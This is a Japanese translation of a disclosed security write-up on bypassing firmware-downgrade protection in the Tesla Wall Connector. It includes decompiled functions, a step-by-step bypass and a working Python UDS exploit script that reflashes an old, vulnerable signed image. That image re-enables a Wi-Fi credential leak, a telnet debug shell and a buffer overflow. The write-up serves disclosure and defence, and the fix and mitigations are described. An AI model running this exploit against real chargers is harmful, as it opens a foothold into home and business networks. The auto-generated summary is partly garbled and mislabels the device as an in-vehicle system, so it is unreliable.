
2026/05/15 5:41
テスラ・ウォールコネクタ:ブートローダーによってファームウェアのダウングレードを防ぐ機構を回避する
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
本ドキュメントは、Tesla 車載システムがファームウェアバージョン 24.44.3 を実行している場合を対象とした重大なセキュリティ脆弱性について詳述しており、攻撃者が現代のセキュリティコントロールを回避し、車両ソフトウェアを脆弱な過去の状態へ復旧させることを可能にする。核心的な問題は、ブートローダーの検証プロセスとオペレーティングシステムのダウングレードに対する保護との間に存在する不整合に起因しており、具体的には
check_image_and_antidowngrade() を介してセキュリティラatchet(不可逆性)を強制し、ラatchet 検出が失敗した場合にパッシブスロットを消去するルーチン 0x201(switch_to_new_firmware())が関与している。しかしながら、ブートローダー(boot2)はセキュアブートを実装しておらず、セキュリティラatchet のチェックも行っておらず、マジックヘッダー(SBFH)、各セグメントの CRC32、および RSA 署名のみを検証するに留まっている。重大な欠陥がルーチン 0xFF00(prepare_passive_slot)に見出されており、このルーチンはセッション中に更新されないブート時のフラグ(g_boot_flags)に基づいて物理的なパッシブスロットを消去している。回避手法は、正当な新しいファームウェアを押し込み、パーティションレイアウトをコミットする UDS ルーチン 0x201 を実行し、直ちに同じ物理スロットを消去するためにルーチン 0xFF00 を再実行すること(パーティションテーブルを変更しない)を含む。その後、攻撃者は現在空になっているスロットに古いが署名されつつも脆弱なファームウェアイメージ(例えばバージョン 0.8.58)を書き込む。この後、ルーチン 0x202 を介してリブートを行うと、ラatchet チェックがアクティベーション時に実行されないため、古いファームウェアが有効化される。この脆弱性は、拡張された Pwn2Own 車載シミュレーターを使用して実証され、シングルワイヤー CAN(SWCAN)バスを通じて 2 つの完全なファームウェアイメージを送信し、全体の実行時間はおよそ 30 分であった。有効化された古いファームウェアは、以前の攻撃の再実行を可能にする:Wi-Fi クレデンシャルの UDS ベースによる情報漏洩、デバッグシェルへの Telnet アクセス、および引数パージャーにおけるバッファオーバーフロー。Tesla はこの脆弱性を報告しており、数ヶ月前にファームウェアアップデートで修復された。ウォールコンネクタが自宅またはビジネスネットワーク上の位置づけにより、ネットワーク侵入に対する足場となり得るものの、自動的な OTA 展開により暴露ウィンドウは縮小されている。自動車業界にとって、この事例はブートローダーのロジックとパージスタンストアセキュリティ対策を整合させることの必要性を示しており、これにより攻撃者が車両ソフトウェアの完全性を容易にダウングレードすることを防ぐことが強調される。本文
アップデート手順の簡易概要
初稿では、シングルワイヤー CAN(Single-Wire CAN)を用いたフルなアップデートフローについて説明しました。要約すると以下の通りです:
- UDS セッションをオープンする(タイプ 2)。
- セキュリティアクセス認証を行う(レベル 5、XOR-0x35 アルゴリズム使用)。
- ルーティン 0xFF00 を実行して、パッシブスロットの準備と消去を行う。
- アイデンティフィア 0x102 に値 0x0E を書き込むことにより、「UDS 経由で設定可能(settable)」としてスロットをマークする。
- リクエストダウンロード/転送データ/転送終了リクエストを使用してファームウェアを書き込む。
- ルーティン 0x201 を実行して、直書き込みしたイメージを検証し、スロットの切り替えを行う。
- ルーティン 0x202 を実行して再起動させる。
念のため復習になりますが、AW-CU300 ではファームウェアのスロットが 2 つ用意されており、いずれかのアクティブスロット(現在稼働中のもの)とパッシブスロット(アップデート先の対象)を有しています。アップデートに成功すると、この 2 つのスロットの役割が入れ替わり、次の起動時に新しいファームウェアがアクティブになります。
バージョン 24.44.3 での変更点
旧ファームウェアをバージョン 24.44.3 と差分比較した結果、アップデート処理ルーティン 0x201 を担当する関数
switch_to_new_firmware() に焦点が当たりました:
int switch_to_new_firmware() { ... if ( settable_via_uds != 14 || !passive_firmware ) return 1; if ( passive <= 0 || passive > passive_firmware->size || (v2 = check_signature(passive_firmware->start, passive)) != 0 || !check_image_and_antidowngrade(nullptr) ) { part_erase(flash_drv, passive_firmware->start, 0x14u); v2 = 4; } else { part_write_layout(passive_firmware); } flash_drv_close(flash_drv); passive_firmware = nullptr; return v2; }
ここで初めて登場する関数
check_image_and_antidowngrade() は、ファームウェアの各セグメントを解析し、それぞれの CRC を再計算した後、verify_firmware_segments_platform() を呼び出してラチェット(downgrade 防止機構)の比較を行うものです:
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...) { ... // [0x100000 .. 0x100010] ウィンドウで終了するセグメントから、 // バージョン記述子を探索しながら各セグメントを走査する。 ... if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ ) goto next_segment; major = LOBYTE(buffer.ip_addr.addr); minor = BYTE1(buffer.ip_addr.addr); if ( buffer.netmask.addr == '2SRV' /* "VRS2" */ && LOBYTE(buffer.gw.addr) > 1u ) firmware_ratchet = BYTE2(buffer.gw.addr); else firmware_ratchet = 0; ... sub_1F04866C(¤t_ratchet); // PSM(永続ストレージマネージャ)からラチェットを読み取る if ( current_ratchet <= firmware_ratchet || !call_psm_wrapper(...) ) { return 0; // 承認された場合 } log("Failure: Security ratchet downgrade prevented %d < %d", firmware_ratchet, current_ratchet); return -1; }
バージョン情報は、ファームウェアの各セグメント内に埋め込まれています(バージョンは "VRSN" で、ラチェットは "VRS2")。これらは主に 0x100000 付近にロードされるセグメントに含まれており、ブートローダーではなくアップデーターのみがこれを解析します。デバイス側では、ラチェットは PSM(Persistent Storage Manager)内に存在し、より新しいラチェット値を持つイメージがアクティブになるときに増分されます。
したがって、バージョン 24.44.3 のデバイスに対して旧バージョンのファームウェア 0.8.58 を送信し、ルーティン 0x201 を呼び出すと、以下のようなエラーで終了します:
ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N
その結果、スロットは即座に消去され、公式なアップデート手順を通じて旧イメージをフラッシュメモリに残すことはできません。
ブートローダーは無視する
ビルドアーティファクト内に含まれる呼び出し名である
boot2 は、固定されたアドレスに配置されており、テスラが提供するファームウェアアップデートの一部ではありません。我々はこれを実装する上で、以前にオリジナルの Pwn2Own exploit によりルート化できた充電器からフラッシュメモリをダンプして分析する必要がありました。
このブートローダーは、アクティブなファームウェアへとジャンプする前にいくつかのチェックを実行します:
- _MAGIC ヘッダー(SBFH)の確認
- セグメントごとの CRC32 の検証
- クイーストアにあるキーに対する RSA 署名の検証
ただし、このブートローダーにはセキュリティラチェットの概念は存在しません。つまり、有効な署名と正しい CRC を有するファームウェアイメージであれば、そのバージョンに関わらず実行されます。
boot2 やブート ROM はセキュアブートを実装しておらず、アンティダウングレードの強制は、1 つのコードである switch_to_new_firmware() に一瞬だけ依存しています:それが呼び出されるタイミングです。
つまり、ルーティン 0x201 を全く呼び出さずに旧バージョン且有効な署名付きファームウェアをアクティブスロットに導入できるでしょうか?
スロットがアクティブになる仕組み
ルーティン 0xFF00 は
prepare_passive_slot() を呼び出し、現在のブートフラグに基づいて物理的などのスロットが「パッシブ」であるかを決定し、その後それを消去します:
int prepare_passive_slot(int a1, int a2, int a3) { partition_entry *f1, *f2; int16_t v7 = 0; if ( part_read_layout(a1, a2, a3) || (f1 = part_get_layout_by_id(1, &v7), f2 = part_get_layout_by_id(1, &v7), !f1) || !f2 ) { passive_firmware = nullptr; __und(0xFFu); } if ( (g_boot_flags & 3) != 0 ) // スロット 1 からブートしたか? f2 = f1; // その場合、パッシブはスロット 0 passive_firmware = f2; ... if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 ) ... return 0; }
part_get_layout_by_id() はイテレータベースの機能です。初回呼び出しが ID 1 の最初のパーティションエントリを返し、2 回目呼び出しが次のエントリを返します。g_boot_flags に応じて、どちらかがパッシブスロットとして選択されます。
ここで重要なのは、
g_boot_flags は起動時に設定され、セッション中に更新されないことです。これはパーティションテーブルに現在記述されている内容ではなく、実際にどのスロットからブートしたかを示しています。
スロット切り替えを行う
part_write_layout() はファームウェアデータには触れず、各スロットのジェネレーションカウンターを増やすことでのみパーティションテーブルを書き換えます:
int part_write_layout(partition_entry *a1) { ... if ( /* a1 が f1 と一致 */ ) v3->gen_level = v4->gen_level + 1; else if ( /* a1 が f2 と一致 */ ) v4->gen_level = v3->gen_level + 1; else return -23; // 4KiB のパーティションテーブル領域を消去して再書き込み part_erase(v8, partition_table_addr, 0x1000); flash_write(v8, &dword_129B7C, 16); flash_write(v8, byte_1299FC, 24 * word_129B82); flash_write(v8, &checksum, 4); ... }
起動時にブートローダーは
gen_level が最も高いスロットを選択します。つまり、次の起動でスロットをアクティブにするには、そのスロットに対して一度だけ part_write_layout() が成功すれば十分であり、その後その内容がどうなろうとも問題ありません。
バイパス手法
まとめると:
- ルーティン 0xFF00 は、セッション中は決して変更されない
に基づいて物理的なパッシブスロットを消去します。g_boot_flags - ルーティン 0x201 はスロットの内容を検証し、パーティションレイアウトを書き込みます。
- ブートローダーはパーティションテーブルを信頼しており、ラチェットをチェックしません。
この理解に基づき以下のような手順が可能です:
- パッシブスロットに有効な最新ファームウェアを送信し、ルーティン 0x201 を呼び出します。検証が成功するため、パーティションレイアウトが書き込まれ、このスロットの
が最高値になります。gen_level - リブートせずに再度ルーティン 0xFF00 を呼び出します。
が変更されていないため、同じ物理スロットがパッシブとして選択され、直前に検証されたファームウェアが消去されます。パーティションテーブルには一切影響がありません。g_boot_flags - その間空いたスロットに旧バージョンで署名済みだが脆弱性の残るファームウェアを送信します。
- ルーティン 0x201 を全く呼ばない(必要なく、かつそのイメージを拒否するため)。代わりにルーティン 0x202 だけを呼び出して再起動させます。
リブート後、ブートローダーはパーティションテーブルを読み取り、最も高い
gen_level を有するスロット(我々が直前に書き込みを行ったもの)を選択し、有効な署名を持つファームウェアとして検証した上で起動します。アンティダウングレードチェックは旧イメージに対して実行されません。
エクスプロイトの実装
我々のエクスプロイトは、Pwn2Own カースимуレータの小型な拡張に過ぎません。シングルワイヤー CAN 設定、GPIO シケンス、UDS パイプラインなどは一切変更されていません。唯一の変更点はアップデート手順を 2 回実行することです:
with Client(conn, config=uds_config) as client: client.set_config('security_algo', tesla_uds_algo) client.change_session(2) client.unlock_security_access(5) # 1. 有効な最新ファームウェアをプッシュし、ルーティン 0x201 が # パーティションレイアウトの書き込みを担当させる。 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read() send_firmware_data(client, data) client.routine_control(routine_id=0x201, control_type=1) # レイアウトを書き込む sleep(1) # 2. 同じ物理スロットを再準備。有効なファームウェアが消去されるが、 # パーティションテーブルは変更されない。 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read() send_firmware_data(client, data) sleep(1) # 3. リブート。ブートローダーはパーティションテーブルに基づき、 # このスロットをアクティブとして選択する(署名は有効)。 client.routine_control(routine_id=0x202, control_type=1)
全体で 33.3 kbps の SWCAN バス上で約 30 分かかります。元々の Pwn2Own タイミングの 2 倍となり、これは 2 つの完全なファームウェアイメージをケーブル経由で送信する必要があるためです。リブート後にはバージョン 0.8.58 が再び主導権を持ち、元の連鎖(Wi-Fi クレデンシャルの UDS リーク、デバッグシェルへの telnet、引数解析器でのバッファオーバーフロー)も以前と同じ通りに機能します。
結論
アンティダウングレードはアップデーター内にしか実装されておらず、ブートローダーがラチェットをチェックしないため、パーティションレイアウトを書き込みスロットの内容を上書きするあらゆるシーケンスはこの制限を回避できます。ルーティン 0xFF00 は、レイアウトが書き込まれた後にファームウェアを消去し、その後自由に何らかのイメージを書き込むことを可能にします。
このギャップを塞ぐためには、ブートローダー内でラチェットの実行を強制する必要があります。他の選択肢としては:
- ルーティン 0xFF00 でスロットを消去する際にパーティションテーブルのエントリも無効化し、消去後書き換えされたスロットは起動可能とみなされないようにする。
- または、成功したアップデート後には必ず再起動を強制する。
- さらに、ルーティン 0x201 が成功すると以降の新しいアップデートセッションを受け付けなくするのも一案です。
我々はこの脆弱性情報をテスラに報告し、数ヶ月前のファームウェアアップデートで修正されています。第一稿と同様に、ウォールコネクタは通常自宅または企業のネットワーク上に設置されており、充電ケーブルを通じて制御されることでその内部へのフットホールド(初期侵入点)が得られます。一方で、テスラの接続された充電器向けに自動的な OTA デプロイメントを行う仕組みがあるため、修正は多くのデバイスに迅速に届き、実際上の曝露ウィンドウを短縮することになりました。